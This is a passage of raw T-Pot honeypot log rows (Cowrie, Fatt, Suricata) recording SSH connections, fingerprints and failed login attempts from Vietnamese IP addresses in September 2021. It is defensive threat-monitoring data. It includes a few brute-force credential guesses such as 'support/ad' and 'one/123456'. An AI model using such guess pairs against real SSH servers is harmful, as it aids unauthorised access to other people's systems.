"hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3bf807a96dc4", "@version": "1", "timestamp": "2021-09-20T11:10:56.677669Z", "@timestamp": "2021-09-20T11:10:56.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25865	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:56.858443+03	2021-09-20 14:15:12.535647+03	{"_id": "SQbmAnwBvYTbRNuE4B1W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "6869da236584", "@version": "1", "duration": 3.5589375495910645, "timestamp": "2021-09-20T11:10:56.858443Z", "@timestamp": "2021-09-20T11:10:56.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25866	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:57.95277+03	2021-09-20 14:15:12.536646+03	{"_id": "TQbmAnwBvYTbRNuE5B1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:36388 (192.168.176.2:22) [session: 76d3f2da24b9]", "session": "76d3f2da24b9", "@version": "1", "protocol": "ssh", "src_port": 36388, "dest_port": 22, "timestamp": "2021-09-20T11:10:57.952770Z", "@timestamp": "2021-09-20T11:10:57.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25867	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:58.12701+03	2021-09-20 14:15:12.537646+03	{"_id": "UQbmAnwBvYTbRNuE5B1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:37816 (192.168.176.2:22) [session: 2d1d9cb331d3]", "session": "2d1d9cb331d3", "@version": "1", "protocol": "ssh", "src_port": 37816, "dest_port": 22, "timestamp": "2021-09-20T11:10:58.127010Z", "@timestamp": "2021-09-20T11:10:58.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25868	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:58.229788+03	2021-09-20 14:15:12.538646+03	{"_id": "XwbmAnwBvYTbRNuE5x2U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36388, "dest_port": 22, "timestamp": "2021-09-20T11:10:58.229788", "@timestamp": "2021-09-20T11:10:58.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25870	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:58.722613+03	2021-09-20 14:15:12.541646+03	{"_id": "aAbmAnwBvYTbRNuE6B0w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2d1d9cb331d3", "@version": "1", "timestamp": "2021-09-20T11:10:58.722613Z", "@timestamp": "2021-09-20T11:10:58.722Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25871	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:58.85989+03	2021-09-20 14:15:12.542646+03	{"_id": "aQbmAnwBvYTbRNuE6B0w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [emily/emily] failed", "session": "3bf807a96dc4", "@version": "1", "password": "emily", "username": "emily", "timestamp": "2021-09-20T11:10:58.859890Z", "@timestamp": "2021-09-20T11:10:58.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25872	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:10:59.82989+03	2021-09-20 14:15:12.543646+03	{"_id": "agbmAnwBvYTbRNuE6h1h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2042960992738784, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48628, "dest_port": 22, "timestamp": "2021-09-20T11:10:59.829890Z", "@timestamp": "2021-09-20T11:10:59.829Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25873	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:59.6195+03	2021-09-20 14:15:12.545647+03	{"_id": "awbmAnwBvYTbRNuE6x19", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48628, "timestamp": "2021-09-20T11:10:59.619500", "@timestamp": "2021-09-20T11:10:59.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25874	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:59.738707+03	2021-09-20 14:15:12.546646+03	{"_id": "bgbmAnwBvYTbRNuE7B0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [support/ad] failed", "session": "2d1d9cb331d3", "@version": "1", "password": "ad", "username": "support", "timestamp": "2021-09-20T11:10:59.738707Z", "@timestamp": "2021-09-20T11:10:59.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25875	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:59.832453+03	2021-09-20 14:15:12.547645+03	{"_id": "cQbmAnwBvYTbRNuE7B0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6118bef1b387", "@version": "1", "timestamp": "2021-09-20T11:10:59.832453Z", "@timestamp": "2021-09-20T11:10:59.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25876	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:00.035546+03	2021-09-20 14:15:12.548646+03	{"_id": "cgbmAnwBvYTbRNuE7B0R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [one/123456] failed", "session": "76d3f2da24b9", "@version": "1", "password": "123456", "username": "one", "timestamp": "2021-09-20T11:11:00.035546Z", "@timestamp": "2021-09-20T11:11:00.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
